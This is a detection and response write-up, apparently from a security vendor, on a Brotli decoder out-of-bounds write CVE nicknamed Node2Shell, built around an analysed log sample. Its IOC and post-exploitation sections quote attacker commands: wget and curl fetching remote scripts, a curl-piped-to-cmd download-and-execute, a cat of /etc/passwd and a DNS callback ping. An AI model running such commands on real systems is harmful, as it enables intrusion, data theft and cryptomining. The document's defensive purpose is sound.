Node2Shell/HTTP2Shell Detection

Node2Shell/HTTP2Shell Detection

SOC Prime Team
SOC Prime Team linkedin icon Follow

Node2Shell/HTTP2Shell detection is harder than it looks, because the vulnerability is not confined to one product. Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Since the flaw sits in a shared compression library, it reaches Node.js, Python Brotli packages, Bun, curl, Envoy, and other software that decodes Brotli.

This article covers Node2Shell/HTTP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we cover the vulnerability context, the log source, what LogTotal reported, and how to respond.

Get Started For Free

Node2Shell (HTTP2Shell) Analysis

The vulnerable code sits in Brotli C decoder versions 1.0.3 to 1.2.0. Google, as the numbering authority, scored it 9.2 under CVSS 4.0, while Node.js rates it High. To read the log sample correctly, it helps to know how the bug is triggered, how the disclosure unfolded, and which software versions and configurations are exposed.

Vulnerability details for Node2Shell

A Brotli stream that declared a single block type and then switched blocks was not rejected, so decoding continued in an invalid state and wrote past a buffer. Any process that decompresses attacker-controlled Brotli data can be hit, in two directions:

  • Inbound: a crafted Brotli-compressed HTTP request body sent to a server that decodes it.
  • Outbound: a crafted response returned to a client that fetches it.

The bug has several names. Node2Shell came first because Node.js disclosed and fixed it first. HTTP2Shell reflects that it reaches any stack that decodes Brotli over HTTP, and some coverage also uses Python2Shell and Broccoli2Shell.

Disclosure and exploitation timeline

Date (2026)Event
27 OctoberCISA added the CVE to its KEV catalog; US federal agencies must patch by 10 November
26 OctoberExploitation in this sample logged on app-node-01
25 OctoberMicrosoft released out-of-band .NET fixes
22 OctoberCVE published; code execution shown publicly on Node.js 24.22.0; Bun 1.4.4 released
21 OctoberNode.js disclosure and fixed releases; Brotli 1.0.10, 1.1.1, and 1.2.1 released
27 FebruaryFix committed to google/brotli with no release or advisory

The bug itself shipped in Brotli 1.0.3 in March 2018. Khai Tran and Sylvie Mayer of OpenAI Codex Security reported it to Node.js. A public proof of concept exists, Imperva and ELLIO both reproduced code execution against official Node.js builds, and scanners that map which hosts decompress Brotli are already in use. Code execution has not been shown for the Python packages, although they crash on malicious input, as the web-prod-01 crash in this sample shows.

Node2Shell affected versions and fixes

ComponentFixed in
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x and other end-of-life linesNo fix; move to a supported line
Bun1.4.4
Google Brotli library1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

A vulnerable version is only exposed if attacker data can reach the decoder. In Node.js, that path exists through Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress with request decompression, fetch(), and direct node:zlib Brotli calls. In Python, requests, httpx, aiohttp, and Scrapy use the brotli or brotlicffi package whenever it is installed. In .NET, Brotli decompression is off by default, and Envoy and Istio are exposed only with the Brotli decompressor enabled. curl decodes Brotli only with –compressed, through the system libbrotli, so it needs a patched distribution package; Debian and Red Hat have shipped fixed ones.

Log source and collection

AttributeValue
FileNode2Shell_HTTP2Shell_sample-sanitized.jsonl
Events11
Time window26 October 2026, 11:30:55 to 11:33:05 UTC
SchemaECS-style
Sources4 plain-text Linux kernel and systemd-coredump messages; 7 Microsoft Defender for Endpoint process-creation events

Hosts in the sample

Three hosts appear in the raw data, on two operating systems. Each one shows a different part of the Node2Shell exposure.

HostOSRuntimeActivity in the logs
app-node-01LinuxNode.js app /opt/app/server.jsBrotli crash, then post-exploitation commands
web-prod-01LinuxPython processCrash in _brotli.cpython-311
win-dev-01WindowsNode.js app C:\Users\devuser\app\server.jsDownload-and-execute, hidden PowerShell

Detect Node2Shell (HTTP2Shell)

LogTotal processed 11 lines in 5.3 seconds and matched 23 rules against 10 lines. It formed 2 chains, reported 1, and filtered out 1 at the AI verification step.

Verdict fieldResult
VerdictSuspicious, needs investigation
SeverityHigh
ConfidenceMedium

The reported chain is Node2Shell / HTTP2Shell is a critical vulnerability (CVE-2026-111497): High, 100% match, 2 rules fired. It sits on a pseudonymized host between 11:30 and 11:31 UTC, and that window and evidence match app-node-01.

Exploitation: the Brotli decoder crash

The rule “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” matched node segfaulting in libbrotlidec.so.1.1.0. The core dump stack is topped by BrotliDecoderDecompressStream.

The report maps this crash to denial of service (T1499.004), which is where the Impact stage comes from. The rule’s last hit, at 11:33, falls on the python3 crash in _brotli.cpython-311 on web-prod-01, which shows the same library failing in a second runtime.

Post-exploitation on Linux

“Suspicious NodeJS Child Processes [Linux]” fired 4 times as node /opt/app/server.js spawned:

  • curl fetching the public C3Pool XMRig miner setup script
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, an out-of-band callback check
  • cat /etc/passwd

Post-exploitation on Windows, outside the chain

The Windows half of the sample sits outside the reported chain but deserves the same attention. On win-dev-01, node.exe spawned cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, a download-and-execute pattern, and then a hidden powershell.exe running whoami.

Rules that fired on this activity include Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, and Suspicious Powershell Cmdlets. The filtered-out chain, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), was driven by the curl executions.

Node2Shell IOCs from this sample

IndicatorTypeContext
198.51.100.23IPPayload host for s.sh (port 3000) and /api/w (HTTPS)
http://198.51.100.23:3000/s.shURLScript fetched by wget on app-node-01
https://198.51.100.23/api/wURLPiped to cmd on win-dev-01
5axzi7.dnslog.cnDomainOut-of-band callback via ping
C3Pool XMRig miner setup scriptDownloadFetched by curl from node
libbrotlidec.so.1.1.0 with BrotliDecoderDecompressStream on the stackCrash signatureNode.js exploitation attempt
_brotli.cpython-311 crashCrash signaturePython exploitation attempt
node / node.exe spawning curl, wget, ping, cat, cmd.exe, powershell.exeProcess lineagePost-exploitation

Using LogTotal findings in Node2Shell triage

Start from the reported chain to confirm exploitation on app-node-01, then work through every finding outside the chain. In this sample, the out-of-chain rules and the filtered chain point to two more affected hosts, web-prod-01 and win-dev-01.

Node2Shell (HTTP2Shell) Mitigation

Patching Node.js alone does not close Node2Shell, because the flaw sits in the shared Brotli decoder. Every runtime or proxy that decodes Brotli needs an update, and every host in the sample needs to be in scope.

Patch every Brotli consumer

  1. Find services on Node.js below 22.23.4, 24.22.1, or 26.12.1, on an end-of-life Node.js line, or on Bun below 1.4.4, including base images and build hosts.
  2. Patch first the services that decompress request bodies (Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress), fetch user-supplied URLs, or pass untrusted data to node:zlib Brotli functions.
  3. Upgrade the runtime, then restart processes and rebuild container images, including self-contained .NET apps and binaries built with bun build –compile.
  4. Upgrade PyPI brotli to 1.2.1 and brotlicffi to 1.2.1.0, and update the .NET runtime, Envoy, Istio, and distribution brotli packages.
  5. Move off Node.js 20 and other end-of-life lines, which receive no fix.
  6. Until patches ship, reject Content-Encoding: br at the WAF or proxy, matching it case-insensitively and inside lists such as “gzip, br”. This does not cover Brotli responses read by fetch().

LogTotal’s recommended response

  1. Isolate the host.
  2. Collect process, system, and network data for 11:30–11:33 UTC.
  3. Verify the Node.js patch level: 22.23.4, 24.22.1, or 26.12.1.
  4. Remove unauthorized binaries.
  5. Reject untrusted Content-Encoding: br at the WAF.
  6. Run Node.js unprivileged.
  7. Disable automatic Brotli decompression where feasible.

Additional steps from the raw evidence

  1. Widen the scope to win-dev-01 and web-prod-01, not just app-node-01.
  2. Block at egress 198.51.100.23 and *.dnslog.cn.
  3. Check for a miner: cron entries, systemd units, and a running xmrig process.
  4. Assume /etc/passwd was read and review accounts accordingly.
  5. Hunt for node, node.exe, or python3 spawning shells, downloaders, or network tools.

Ongoing Node2Shell monitoring

Forward kernel and systemd-coredump messages along with EDR process events. In this sample, the coredump stack was the only direct evidence of exploitation, and the EDR events carried everything that followed.

FAQ

What is Node2Shell (HTTP2Shell) and how does it work?

Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Crafted Brotli data can crash any process that decompresses it, and in Node.js it has been shown to give remote code execution. The analysis section above explains how it works.

When was Node2Shell first discovered?

Khai Tran and Sylvie Mayer of OpenAI Codex Security found the bug and reported it to Node.js. It dates back to Brotli 1.0.3 in March 2018. A fix was committed upstream on 27 February 2026 without a release, and Node.js disclosed the flaw on 21 October 2026.

What is the impact of Node2Shell on systems?

The crash itself is a denial of service, and the follow-on activity shows code execution in the context of the vulnerable process. In this sample, that meant a cryptominer setup script download, a payload fetch, an out-of-band DNS callback, a read of /etc/passwd, and download-and-execute on a Windows host.

Can Node2Shell still affect me in 2026?

Yes. CVE-2026-111497 is exploited in the wild and listed in CISA’s KEV catalog. Unpatched Node.js, Bun, Python, .NET, and proxy deployments remain exposed, and Node.js 20 and other end-of-life lines will never get a fix.

How can I protect myself from Node2Shell?

Patch Node.js and every other Brotli consumer, restart processes, and rebuild images. Until then, reject Content-Encoding: br at the WAF or proxy and disable automatic Brotli decompression where feasible. The mitigation section lists the full steps.

How can I detect Node2Shell?

Collect kernel and systemd-coredump logs plus EDR process events from every Node.js and Python host. Alert on Brotli decoder crashes and on runtimes spawning shells or downloaders. LogTotal maps these events to the Node2Shell chain, but review findings outside the chain too, since they surfaced two extra hosts here.

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.